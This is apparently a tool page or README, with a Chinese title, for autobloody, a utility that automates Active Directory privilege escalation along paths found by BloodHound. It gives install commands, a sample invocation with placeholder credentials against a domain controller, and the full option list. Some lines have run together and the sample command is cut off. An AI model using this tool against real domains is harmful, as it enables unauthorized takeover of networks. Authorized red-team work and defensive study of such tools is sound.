自动利用 BloodHound 显示的 Active Directory 权限升级路径的工具

# Debian/Ubuntu/Kaliapt-get install libkrb5-dev
# Centos/RHELyum install krb5-devel
# Fedoradnf install krb5-devel
# Arch Linuxpacman -S krb5

pip install autobloody

git clone --depth 1 https://github.com/CravateRouge/autobloodypip install .

autobloody -u john.doe -p 'Password123!' --host 192.168.10.2 -dp 'neo4jP@ss' -ds 'JOHN.DOE@BLOODY.LOCAL' -dt '

[bloodyAD]$ ./autobloody.py -husage: autobloody.py [-h] [--dburi DBURI] [-du DBUSER] -dp DBPASSWORD -ds DBSOURCE -dt DBTARGET [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-c CERTIFICATE] [-s] --host HOST
AD Privesc Automation
options:  -h, --help            show this help message and exit  --dburi DBURI         The host neo4j is running on (default is "bolt://localhost:7687")  -du DBUSER, --dbuser DBUSER                        Neo4j username to use (default is "neo4j")  -dp DBPASSWORD, --dbpassword DBPASSWORD                        Neo4j password to use  -ds DBSOURCE, --dbsource DBSOURCE                        Case sensitive label of the source node (name property in bloodhound)  -dt DBTARGET, --dbtarget DBTARGET                        Case sensitive label of the target node (name property in bloodhound)  -d DOMAIN, --domain DOMAIN                        Domain used for NTLM authentication  -u USERNAME, --username USERNAME                        Username used for NTLM authentication  -p PASSWORD, --password PASSWORD                        Cleartext password or LMHASH:NTHASH for NTLM authentication  -k, --kerberos  -c CERTIFICATE, --certificate CERTIFICATE                        Certificate authentication, e.g: "path/to/key:path/to/cert"  -s, --secure          Try to use LDAP over TLS aka LDAPS (default is LDAP)  --host HOST           Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)